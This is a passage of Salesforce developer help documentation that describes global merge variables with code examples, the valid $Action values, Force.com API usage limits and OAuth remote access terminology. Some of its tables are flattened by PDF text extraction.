Description: A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts. Use action merge fields in LINKTO and URLFOR functions to reference the action selected. 1. Select the field type: $Action. 2. Insert a merge field in the format $Action.object.action, such as $Action.Account.New. Note: For a list of actions and their supported objects, see Valid Values for the $Action Global Variable on page 1974.

Use:

S-Control Example:

The s-control below references the standard action for creating new accounts in the $Action.Account.New merge field.
<html> <body> {!LINKTO("Create a New Account", $Action.Account.New, $ObjectType.Account)} </body> </html>

1958

Develop

Defining Custom S-Controls

Visualforce Example:

<apex:outputLink value="{!URLFOR($Action.Account.New)}">Create New Account</apex:outputLink>

Tips:

This global variable is only available for custom buttons and links, s-controls, and Visualforce pages.

$Api
Description: Use: A global merge field type to use when referencing API URLs. 1. Select the field type: $Api. 2. Select a merge field, such as:
$Api.Enterprise_Server_URL__xxx: The Enterprise WSDL SOAP endpoint where xxx

S-Control Example:

represents the version of the API. For example, $Api.Enterprise_Server_URL_140 is the merge field value for version 14.0 of the API. $Api.Partner_Server_URL__xxx: The Partner WSDL SOAP endpoint where xxx represents the version of the API. $Api.Partner_Server_URL_120 is the merge field value for version 12.0 of the API. $Api.Session_ID: The session ID.

The custom formula field below calls a service to replace the SIC code. Replace myserver with the name of your server.
HYPERLINK("https://www.myserver.com/mypage.jsp" & "?Username=" & $User.Username & "&crmSessionId=" & GETSESSIONID() & "&crmServerUrl=" & $Api.Partner_Server_URL_90 & "&crmObjectId=" & Id & "&crmFieldUpdate=sicCode", "Update SIC Code")

Visualforce Example:

Use dot notation to return the session ID.


{!$Api.Session_ID}

Tips:

This global variable is only available for formula fields, s-controls, custom buttons and links, and Visualforce pages.

$Component
Description: A global merge field type to use when referencing a Visualforce component.

1959

Develop

Defining Custom S-Controls

Use:

Each component in a Visualforce page has its own id attribute. When the page is rendered, this attribute is the same as the Document Object Model (DOM) ID.Use $Component.Id in JavaScript to reference a specific component on a page.
function beforeTextSave() { document.getElementById('{!$component.msgpost}').value = myEditor.getEditorHTML(); }

Visualforce Example:

Tips:

This global variable is only available for Visualforce pages.

$componentLabel
Description: Use: Visualforce Example: A global merge field to use when referencing the label of an inputField component on a Visualforce page that is associated with a message. Return the label of an inputField component that is associated with a message.
<apex:datalist var="mess" value="{!messages}"> <apex:outputText value="{!mess.componentLabel}:" style="color:red/> <apex:outputText value="{!mess.detail}" style="color:black" /> </apex:datalist>

Tips:

This global variable is only available for Visualforce pages.

$CurrentPage
Description: Use: Visualforce Example: A global merge field type to use when referencing the current Visualforce page. Use this expression in a Visualforce page to access the current page parameters and values, the current page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You belong to the {!account.name} account.<br/> You're also a nice person. </apex:pageBlock> <apex:detail subject="{!account}" relatedList="false"/> <apex:relatedList list="OpenActivities" subject="{!$CurrentPage.parameters.relatedId}"/> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Label
Description: A global merge field type to use when referencing a custom label in a Visualforce page.

1960

Develop

Defining Custom S-Controls

Use:

Use this expression in a Visualforce page to access a custom label. When the application server constructs the page to be presented to the end-users browser, the value returned depends upon the language setting of the contextual user. The value returned is one of the following, in order of precedence: 1. the local translation's text 2. the packaged translation's text 3. the master label's text

Visualforce Example:

<apex:page> <apex:pageMessage severity="info" strength="1" summary="{!$Label.firstrun_helptext}" /> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Label.Site
Description: Use: A global merge field type to use when referencing a standard label in a Visualforce page. Like all standard labels, the text will display based on the user's language and locale. Use this expression in a Visualforce page to access a standard label. When the application server constructs the page to be presented to the end-users browser, the value returned depends on the language and locale of the user. Salesforce provides the following labels: Label authorization_required bandwidth_limit_exceeded change_password change_your_password click_forget_password community_nickname confirm_password down_for_maintenance email email_us enter_password error Message Authorization Required Bandwidth Limit Exceeded Change Password Change Your Password If you have forgotten your password, click Forgot Password to reset it. Nickname Confirm Password <i>{0}</i> is down for maintenance Email email us Did you forget your password? Please enter your username below. Error: {0}

1961

Develop

Defining Custom S-Controls

Label error2 file_not_found forgot_password forgot_password_confirmation forgot_your_password_q get_in_touch go_to_login_page img_path in_maintenance limit_exceeded login login_button login_or_register_first logout new_password new_user_q old_password page_not_found page_not_found_detail password passwords_dont_match powered_by register registration_confirmation site_login site_under_construction sorry_for_inconvenience sorry_for_inconvenience_back_shortly stay_tuned submit temp_password_sent

Message Error File Not Found Forgot Password Forgot Password Confirmation Forgot Your Password? Please <a href="{0}">{1}</a> if you need to get in touch. Go to Login Page /img/sites Down For Maintenance Limit Exceeded Login Login You must first log in or register before accessing this page. Logout New Password New User? Old Password Page Not Found Page Not Found: {0} Password Passwords did not match. Powered by Register Registration Confirmation Site Login Site Under Construction Sorry for the inconvenience. Sorry for the inconvenience. We'll be back shortly. Stay tuned. Submit An email has been sent to you with your temporary password.

1962

Develop

Defining Custom S-Controls

Label thank_you_for_registering under_construction user_registration username verify_new_password

Message Thank you for registering. An email has been sent to you with your temporary password. <i>{0}</i> is under construction New User Registration Username Verify New Password

Visualforce Example:

<apex:page> <apex:pageMessage severity="info" strength="1" summary="{!$Label.Site.temp_password_sent}" /> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$ObjectType
Description: A global merge field type to use when referencing standard or custom objects such as accounts, cases, or opportunities as well as the value of a field on that object. Use object type merge fields in LINKTO, GETRECORDIDS, and URLFOR functions to reference a specific type of data or the VLOOKUP function to reference a specific field in a related object. 1. Select the field type: $ObjectType. 2. Select an object to insert a merge field representing that object, such as $ObjectType.Case. Optionally, select a field on that object using the following syntax: $ObjectType.Role_Limit__c.Fields.Limit__c. Custom Button Example: The custom list button below references the cases standard object in the$ObjectType.Case merge field.
{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records = {!GETRECORDIDS($ObjectType.Case)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else

Use:

1963

Develop

Defining Custom S-Controls

{ for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

Validation Rule Example:

This example checks that a billing postal code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c object or the billing state does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA", BillingCountry = "US"), VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c, $ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5)) <> BillingState )

Visualforce Example:

The following example retrieves the label for the account namefield:
{!$ObjectType.account.fields.name.label}

Tips:

This global variable is available in Visualforce pages, custom buttons and links, s-controls and validation rules.

$Organization
Description: A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference your organization's city, fax, ID, or other details. 1. Select the field type: $Organization. 2. Select a merge field such as $Organization.Fax. Use organization merge fields to compare any attribute for your organization with that of your accounts. For example, you may want to determine if your organization has the same

Use:

Validation Rule Example:

1964

Develop

Defining Custom S-Controls

country as your accounts. The validation formula below references your organization's country merge field and requires a country code for any account that is foreign.
AND($Organization.Country <> BillingCountry, ISNULL( Country_Code__c ) )

Visualforce Example:

Use dot notation to access your organization's information. For example, to retrieve the street and state of your organization, use the following:
{!$Organization.Street} {!$Organization.State}

Note that you cannot use the {!$Organization.UiSkin} in Visualforce. Tips: The organization merge fields get their values from whatever values are currently stored as part of your company information in Salesforce.

$Page
Description: Use: Visualforce Example: A global merge field type to use when referencing a Visualforce page. Use this expression in a Visualforce page to access another Visualforce page.
<apex:page> <h1>Linked</h1> <a href="{!$Page.otherPage}">This is a link to another page</a> </apex:page>

Tips:

This global variable is only available for Visualforce pages.

$Profile
Description: A global merge field type to use when referencing information about the current user's profile. Use profile merge fields to reference information about the user's profile such as license type or name. 1. Select the field type: $Profile. 2. Select a merge field such as $Profile.Name. The validation rule formula below references the profile name of the current user to ensure that only the record owner or

Use:

Validation Rule Example:

1965

Develop

Defining Custom S-Controls

users with this profile can make changes to a custom field called Personal Goal:
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Visualforce Example:

To return the current user's profile, use the following:


{$Profile.Name}

Tips:

$Profile merge fields are only available in Editions that

can create custom profiles. Use profile names to reference standard profiles in $Profile merge fields. If you previously referenced the internal value for a profile, use the following list to determine the name to use instead: Standard Profile Name $Profile Value

System Administrator PT1 Standard User Ready Only Solution Manager Marketing User Contract Manager Partner User Standard Platform User Standard Platform One App User
PT2 PT3 PT4 PT5 PT6 PT7 PT8 PT9

Customer Portal User PT13 Customer Portal Manager


PT14

Your merge field values will be blank if the profile attributes are blank. For example profile Description is not required and may not contain a value. You do not need to give users permissions or access rights to their profile information to use these merge fields.

1966

Develop

Defining Custom S-Controls

$RecordType
Description: Use: Visualforce Example: A global merge field to use when referencing a record type. Add $RecordType manually to your s-control. To return the ID of the current record type, use the following:
{$RecordType.Id}

Tips:

Use $RecordType.Id to reference a specific record type instead of $RecordType.Id. While $RecordType.Id makes a formula more readable, you must update the formula if the name of the record type changes, whereas the ID of a record type never changes. Do not use the $RecordType.Id variable in cross-object formulas. The $RecordType.Id variable only resolves to the record containing the formula, not the record to which the formula spans.

$Request
Description: Use: S-Control Example: A global merge field to use when referencing a query parameter by name that returns a value. Add $Request manually to your s-control. The snippet below, named Title_Snippet, requires two input parameters: titleTheme and titleText. You can reuse it in many s-controls to provide page title and theme in your HTML.
<h2 class={!$Request.titleTheme}.title> {!$Request.titleText}</h2>

The s-control below calls this snippet using the INCLUDE function, sending it the parameters for both the title and theme of the HTML page it creates.
<html> <head> </head> <body> {! INCLUDE($SControl.Title_Snippet, [titleTheme = "modern", titleText = "My Sample Title"]) } ... Insert your page specific content here ... </body> </html>

Tips:

Do not use $Request in Visualforce pages to reference query parameters. Use $CurrentPage instead.

1967

Develop

Defining Custom S-Controls

$Resource
Description: A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge fields in URLFOR functions to reference a particular file in a static resource archive. Use $Resource to reference an existing static resource. The format is $Resource.nameOfResource, such as $Resource.TestImage. The Visualforce component below references an image file that was uploaded as a static resource and given the name TestImage:
<apex:image url="{!$Resource.TestImage}" width="50" height="50" />

Use:

Visualforce Examples:

To reference a file in an archive (such as a .zip or .jar file), use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50" />

Tips:

This global variable is only available for Visualforce pages.

$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Description: A global merge field type to use when referencing an existing custom s-control by name. Use s-control merge fields in LINKTO, INCLUDE, and URLFOR functions to reference one of your custom s-controls. 1. Select the field type: $SControl. 2. Select an s-control to insert a merge field representing that s-control, such as $Scontrol.Header_Snippet. The s-control below references the snippet in the $Scontrol.Header_Snippet merge field:
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title", theme = "modern"])}

Use:

S-Control Example:

1968

Develop

Defining Custom S-Controls

</body> </html>

Visualforce Example:

The following example shows how to link to an s-control named HelloWorld in a Visualforce page:
<apex:page> <apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld s-control</apex:outputLink> </apex:page>

Note that if you simply want to embed an s-control in a page, you can use the <apex:scontrol> tag without the $SControl merge field. For example:
<apex:page> <apex:scontrol controlName="HelloWorld" /> </apex:page>

Tips:

The drop-down list for Insert Merge Field lists all your custom s-controls except snippets. Although snippets are s-controls, they behave differently. For example, you cannot reference a snippet from a URLFOR function directly; snippets are not available when creating a custom button or link that has a Content Source of Custom S-Control; and you cannot add snippets to your page layouts. To insert a snippet in your s-control, use the Insert Snippet drop-down button. This global variable is only available for custom buttons and links, s-controls, and Visualforce pages.

$Site
Description: Use: A global merge field type to use when referencing information about the current Force.com site. Use dot notation to access information about the current Force.com site. Note that only the following site fields are available: Merge Field {!$Site.Name} {!$Site.Domain} {!$Site.CustomWebAddress} {!$Site.OriginalUrl} Description Returns the API name of the current site. Returns the Force.com domain name for your organization. Returns the value of the Custom Web Address field for the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null.

1969

Develop

Defining Custom S-Controls

Merge Field {!$Site.CurrentSiteUrl}

Description Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns the value of the Site Contact field for the current site. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.

{!$Site.LoginEnabled} {!$Site.RegistrationEnabled}

{!$Site.IsPasswordExpired}

{!$Site.AdminEmailAddress} {!$Site.Prefix}

{!$Site.Template}

{!$Site.ErrorMessage}

{!$Site.ErrorDescription}

{!$Site.AnalyticsTrackingCode}

Visualforce Example: The following example shows how to use the $Site.Template merge field:
<apex:page title="Job Application Confirmation" showHeader="false" standardStylesheets="true"> <!-- The site template provides layout & style for the site --> <apex:composition template="{!$Site.Template}"> <apex:define name="body"> <apex:form> <apex:commandLink value="<- Back to Job Search" onclick="window.top.location='{!$Page.PublicJobs}';return false;"/> <br/> <br/> <center><apex:outputText value="Your application has been saved. Thank you for your interest!"/></center> <br/>

1970

Develop

Defining Custom S-Controls

<br/> </apex:form> </apex:define> </apex:composition> </apex:page>

Tips:

This global variable is available in Visualforce pages, email templates, and s-controls.

$System.OriginDateTime
Description: A global merge field that represents the literal value of 1900-01-01 00:00:00. Use this global variable when performing date/time offset calculations or to assign a literal value to a date/time field. 1. Select the field type: $System. 2. Select OriginDateTime from the Insert Merge Field option. The example below illustrates how to convert a date field into a date/time field. It uses the date in the OriginDateTime merge field to get the number of days since a custom field called My Date Field. Then, it adds the number of days to the OriginDateTime value.
$System.OriginDatetime + ( My_Date_Field__c - DATEVALUE($System.OriginDatetime) )

Use:

Formula Example:

Note: OriginDateTime is in the GMT time zone but the result is displayed in the user's local time zone.

Visualforce Example:

The following example calculates the number of days that have passed since 1900:
{!NOW() - $System.OriginDateTime}

Tips:

This global variable is available in Visualforce pages, default values, field updates, formula fields, s-controls, and validation rules.

$User
Description: A global merge field type to use when referencing information about the current user. User merge fields can reference information about the user such as alias, title, and ID. 1. Select the field type: $User. 2. Select a merge field such as $User.Username.

Use:

1971

Develop

Defining Custom S-Controls

Validation Rule Example:

The validation rule formula below references the ID of the current user to determine if the current user is the owner of the record. Use an example like this to ensure that only the record owner or users with an administrator profile can make changes to a custom field called Personal Goal:
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Visualforce Example:

The following example displays the current user's company name, as well as the status of the current user (which returns a Boolean value).
<apex:page> <h1>Congratulations</h1> This is your new Apex Page <p>The current company name for this user is: {!$User.CompanyName}</p> <p>Is the user active? {!$User.isActive}</p> </apex:page>

Tips:

The current user is the person changing the record that prompted the default value, validation rule, or other operation that uses these global merge fields. When a Web-to-Case or Web-to-Lead process changed a record, the current user is the Default Lead Owner or Default Case Owner. When a workflow field update changes a record, the user is the Default Workflow User. Some of the $User merge fields can be used in mobile configuration filters. For more information, see Merge Fields for Mobile Filter Criteria on page 877.

$User.UITheme and $User.UIThemeDisplayed


Description: These global merge fields identify the Salesforce look and feel a user sees on a given Web page. The difference between the two variables is that $User.UITheme returns the look and feel set by the user, while $User.UIThemeDisplayed returns the actual look and feel. For example, a user may have the permissions to see the new user interface theme look and feel, but if they are using a browser that doesn't support that look and feel, $User.UIThemeDisplayed returns a different value. Factors that affect the expected theme from displaying include the user agent of the browser and whether accessibility mode is enabled.

1972

Develop

Defining Custom S-Controls

Use:

Use these variables to identify the CSS used to render Salesforce web pages to a user. Both variables return one of the following values: Theme1Obsolete Salesforce theme Theme2Salesforce theme used prior to Spring '10 PortalDefaultSalesforce Customer Portal theme WebstoreSalesforce AppExchange theme Theme3Current Salesforce theme, introduced during Spring '10 The following example shows how you can render different layouts based on a user's theme:
<apex:page> <apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Theme2'}"> // this is the old theme... </apex:pageBlock> <apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Aloha'}"> //this is the new theme ... </apex:pageBlock> </apex:page>

Visualforce Example:

The section Styling Visualforce Pages in the Visualforce Developer's Guide provides more information on how to use these global variables.

$UserRole
Description: A global merge field type to use when referencing information about the current user's role. Role merge fields can reference information such as role name, description, and ID. 1. Select the field type: $UserRole. 2. Select a merge field such as $UserRole.Name. The validation rule formula below references the user role name to validate that a custom field called Discount Percent does not exceed the maximum value allowed for that role:
Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c, $ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Use:

Validation Rule Example:

1973

Develop

Defining Custom S-Controls

Visualforce Example: Tips:

{!$UserRole.LastModifiedById}

The current user is the person changing the record that prompted the default value, validation rule, or other operation that uses these global merge fields. When a Web-to-Case or Web-to-Lead process changed a record, the current user is the Default Lead Owner or Default Case Owner. When a workflow field update changes a record, the user is the Default Workflow User. Note: You cannot use the following $UserRole values in Visualforce:
CaseAccessForAccountOwner ContactAccessForAccountOwner OpportunityAccessForAccountOwner PortalType

See Also:
Defining Custom S-Controls Useful S-Controls Tips on Building S-Controls Documentation Resources for Force.com Developers

Valid Values for the $Action Global Variable


$Action global variable available in: All Editions

User Permissions Needed To create, edit, and delete custom s-controls, formulas, or Visualforce pages: "Customize Application"

The following table lists the actions you can reference with the $Action global variable and the objects on which you can perform those actions. The values available in your organization may differ depending on the features you enable. Value Accept Description Accept a record. Objects Ad group Case

1974

Develop

Defining Custom S-Controls

Activate Add AddCampaign AddInfluence AddProduct AddToCampaign Activate a contract. Add a product to a price book. Add a member to a campaign.

Event Google campaign Keyword Lead Search phrase SFGA version Text ad

Contract Product2 Campaign

Add a campaign to an opportunity's list Opportunity of influential campaigns. Add a product to price book. Add a contact or lead to a campaign. OpportunityLineItem Contact Lead

AddToOutlook AdvancedSetup AltavistaNews

Add an event to Microsoft Outlook. Launch campaign advanced setup.

Event Campaign Account Lead

Launch www.altavista.com/news/. Cancel an event. Specify a case for a solution. Change the owner of a record.

Cancel CaseSelect ChangeOwner

Event Solution Ad group Campaign Case Contact Contract Google campaign Keyword Leads Opportunities Search phrase SFGA version Text ad Case Lead

ChangeStatus

Change the status of a case.

1975

Develop

Defining Custom S-Controls

ChoosePricebook Clone

Choose the price book to use. Clone a record.

OpportunityLineItem Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Text ad

CloneAsChild CloseCase Convert

Create a related case with the details of Case a parent case. Close a case. Case

Create a new account, contact, and Lead opportunity using the information from a lead. Convert a lead to a campaign member. Create an opportunity based on a campaign member. Decline an event. Delete a record. Campaign Member Campaign Member Event Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product

ConvertLead Create_Opportunity Decline Delete

1976

Develop

Defining Custom S-Controls

DeleteSeries Delete a series of events or tasks.

Product Search phrase SFGA version Solution Task Text ad Event Task

DisableCustomerPortal DisableCustomerPortalAccount DisablePartnerPortal DisablePartnerPortalAccount Download

Disable a Customer Portal user. Disable a Customer Portal account. Disable a Partner Portal user. Disable a Partner Portal account. Download an attachment.

Contact Account Contact Account Attachment Document Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad

Edit

Edit a record.

EditAllProduct EnableAsPartner EnablePartnerPortalUser

Edit all products in a price book. Designate an account as a partner account.

OpportunityLineItem Account

Enable a contact as a Partner Portal user. Contact

1977

Develop

Defining Custom S-Controls

EnableSelfService FindDup FollowupEvent FollowupTask HooversProfile

Enable a contact as a Self-Service user. Display duplicate leads. Create a follow-up event. Create a follow-up task. Display a Hoovers profile.

Contact Lead Event Event Account Lead

IncludeOffline GoogleMaps

Include an account record in Connect Offline. Plot an address on Google Maps.

Account Account Contact Lead Account Contact Lead Account Contact Lead Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Solution Text ad

GoogleNews

Display www.google.com/news.

GoogleSearch

Display www.google.com.

List

List records of an object.

LogCall MailMerge ManageMembers MassClose

Log a call. Generate a mail merge. Launch the Manage Members page. Close multiple cases.

Activity Activity Campaign Case

1978

Develop

Defining Custom S-Controls

Merge New

Merge contacts. Create a new record.

Contact Activity Ad group Asset Campaign Case Contact Contract Event Google campaign Keyword Lead Opportunity Search phrase SFGA version Solution Task Text ad

NewTask RequestUpdate

Create a task. Request an update.

Task Contact Activity

SelfServSelect SendEmail SendGmail

Register a user as a Self Service user. Send an email. Open a blank email in Gmail.

Solution Activity Contact Lead

Sort Share

Sort products in a price book. Share a record.

OpportunityLineItem Account Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Search phrase SFGA version

1979

Develop

Defining Custom S-Controls

Submit for Approval Submit a record for approval.

Text ad Account Activity Ad group Asset Campaign Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Task Text ad Ad group Campaign Case Contact Contract Google campaign Keyword Lead Opportunity Product Search phrase SFGA version Solution Text ad Activity Ad group Asset Campaign

Tab

Access the tab for an object.

View

View a record.

1980

Develop

Force.com API Usage Limits

ViewAllCampaignMembers ViewCampaignInfluenceReport List all campaign members.

Campaign member Case Contact Contract Event Google campaign Keyword Lead Opportunity Opportunity product Product Search phrase SFGA version Solution Text ad

Campaign

Display the Campaigns with Influenced Campaign Opportunities report. List all Partner Portal users. List all Self-Service users. Plot an address on Yahoo! Maps. Contact Contact Account Contact Lead

ViewPartnerPortalUser ViewSelfService YahooMaps

YahooWeather

Display
http://weather.yahoo.com/.

Contact

See Also:
Understanding Global Variables

Force.com API Usage Limits


Available in: Professional, Enterprise, Developer, and Database.com Editions

To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com balances transaction loads by imposing two types of limits: Concurrent API Request Limits

1981

Develop

Force.com API Usage Limits

Total API Request Limits

When a call exceeds a request limit, an error is returned.

Concurrent API Request Limits


The following table lists the limits for various types of organizations for concurrent requests (calls) with a duration of 20 seconds or longer. Organization Type Developer Edition Trial organizations Production organizations Sandbox Limit 5 5 25 25

Total API Request Limits


The following table lists the limits for the total API requests (calls) per 24-hour period for an organization. Salesforce Edition API Calls Per License Type Minimum 1,000 Maximum 1,000

All Editions: N/A DebuggingHeader on API testing calls for Apex specified. Valid in API version 20 and later. Developer Edition Force.com Free Edition N/A Salesforce: 1,000 Salesforce Platform: 200 Salesforce: 1,000 Salesforce Platform: 1,000 Force.com - One App: 200 Gold Partner: 200 Salesforce: 5,000 Salesforce Platform: 5,000 Force.com - One App: 200 Gold Partner: 200

5,000 5,000

5,000 1,000,000

Enterprise Edition Professional Edition with API access enabled

5,000

1,000,000

Unlimited Edition

5,000

Unlimited. However, at any high limit, it is likely that other limiting factors such as system load may prevent you from using your entire allocation of calls in a 24hour period. 5,000,000

Sandbox

N/A

N/A

1982

Develop

Force.com API Usage Limits

Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit. In the Salesforce application, administrators can view how many API requests have been issued in the last 24 hours on the Company Information page at Your Name > Setup > Company Profile > Company Information. Administrators can also view a more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative Reports folder and clicking the API Usage Last 7 days report. Note: Limits are automatically enforced for all editions.

Any action that sends a call to the API counts toward usage limits, except the following: Outbound messages Apex callouts

You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded a specified percentage of the limit. For more information, see About API Usage Notifications on page 834.

Example API Usage Metering Calculations


The following examples illustrate API usage metering calculations for several scenarios: For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000 calls). For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used). For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday, only one more call could successfully be made until 5:00 AM Thursday. For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses X 200 calls is less than the minimum value of 5,000).

Increasing Total API Request Limit


The calculation of the API request limit based on user licenses is designed to allow sufficient capacity for your organization based on your number of users. If you need a higher limit and you don't want to purchase additional user licenses or upgrade to Unlimited Edition, you can purchase additional API calls. For more information, contact your account representative. Before you purchase additional API calls, you should perform a due diligence of your current API usage. Client applications, whether it is your own enterprise applications or partner applications, that make calls to the API can often be optimized to use fewer API calls to do the same work. If you are using a partner product, you should consult with the vendor to verify that the product is making optimal use of the API. A product that makes inefficient use of the API will incur unnecessary cost for your organization.

See Also:
Monitoring Resources Salesforce Editions and Limits Documentation Resources for Force.com Developers Viewing User License Types

1983

Develop

Documentation Resources for Force.com Developers

Documentation Resources for Force.com Developers


The Developer Force Technical Library is your resource for information about developing on the Force.com platform. Here you can learn Force.com fundamentals and advanced programming techniques, get started with Visualforce or Apex, learn how to write SOQL and SOSL queries, dig into Web services and metadata APIs, and more. Find everything from high-level tutorials to detailed reference guides and sample code, and learn how to package and implement your apps. Note: Many of these developer documentation resources are only available in English.

See Also:
Using Salesforce Help

Remote Access Application Overview


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application. OAuth is an open protocol that allows secure authentication for access to a user's data, without handing out the user's username and password. It is often described as the valet key of software access: a valet key only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key. The following is the general flow for using a remote access application with Salesforce: 1. A developer uses the remote access pages in Salesforce (Your Name > Setup > Develop > Remote Access) to define a remote access application. In this example, the remote access application is a web application, which uses data that already exists in Salesforce. 2. The developer uses the generated client credentials from the remote access application detail page and develops their web application using an OAuth library. 3. A user starts to use the developer's web application and performs an action that requires access to their Salesforce data. 4. The user is redirected to Salesforce using the OAuth protocol, and presented with the standard Salesforce login page. 5. Once the user successfully logs in, the Remote Access Authorization page displays. The user must verify if they want to grant the web application access to the their Salesforce data. 6. If the user approves access, they are redirected back to the originating web application with an authorization code. 7. The web application exchanges this code for an access token, which grants them access to the user's Salesforce data. In addition, depending on the authentication flow used, a refresh token might be granted, allowing continued access to the user's account.

1984

Develop

Remote Access Application Overview

8. After a user has granted access to a remote access application, he or she can revoke that access by clicking Your Name > Setup > My Personal Information > Personal Information and clicking Deny next to the name of the application in the Remote Access related list. While this example illustrates a common use of OAuth, Salesforce supports a number of authentication flows for OAuth 2.0, so you can authenticate users of Web, JavaScript, desktop, or mobile applications. Salesforce currently supports OAuth versions 1.0.A and 2.0. Note: Salesforce implemented draft 10 of the OAuth protocol from the IETF working group.

For more information on the OAuth standard, see the OAuth.net documentation. For more information on terminology, see Remote Access Applications and OAuth Terminology on page 1985. Tip: OAuth does not automatically limit access to a user's Salesforce data. Limits to data access are either specified by the user's permissions or by the package access controls of a remote access application that is included in a managed package. Note: Users can authorize a remote access application to access their Salesforce more than once, for example, for both a laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant access to an application more than the organization limit, the access token for that application that hasn't been used for the longest period of time is revoked. Newer applications (using the OAuth 2.0 protocol) are automatically approved for additional devices after the user has granted access once.

See Also:
Getting Started with Remote Access Applications Remote Access Applications and OAuth Terminology Defining Remote Access Applications Authenticating Remote Access Application OAuth Managing Your Remote Access Applications Installing a Package

Remote Access Applications and OAuth Terminology


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Access Token A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the users Salesforce credentials.

1985

Develop

Remote Access Application Overview

For OAuth 1.0.A, the access token must be exchanged for a session ID. For OAuth 2.0, the access token is a session ID, and can be used directly. Authorization Code Only used in OAuth 2.0. A short-lived token that represents the access granted by the end user. The authorization code is used to obtain an access token and a refresh token. For OAuth 1.0.A, see RequestToken. Consumer A Web site or application that uses OAuth to authenticate both the Salesforce user as well as the application on the user's behalf. Consumer Key A value used by the consumer to identify itself to Salesforce. Consumer Secret A secret used by the consumer to establish ownership of the consumer key. Nonce A number, often a random number, used during authentication to ensure that requests cannot be reused. OAuth Protocol Parameters Parameters with names beginning with oauth_, such as oauth_consumer_key and oauth_nonce. Refresh Token Only used in OAuth 2.0. A token used by the consumer to obtain a new access token, without having the end user approve the access again. Request Token A value used by the consumer to obtain authorization from the user, and exchanged for an access token. Request tokens are only used in OAuth 1.0.A. For OAuth 2.0, see Authorization Code. Service Provider A Web application that allows access using OAuth. This is your Salesforce instance after remote access has been enabled. Token Secret A secret used by the consumer to establish ownership of a given token, both for request tokens and access tokens. User An individual who has a Salesforce login.

See Also:
Remote Access Application Overview

Getting Started with Remote Access Applications

1986

Develop

Getting Started with Remote Access Applications

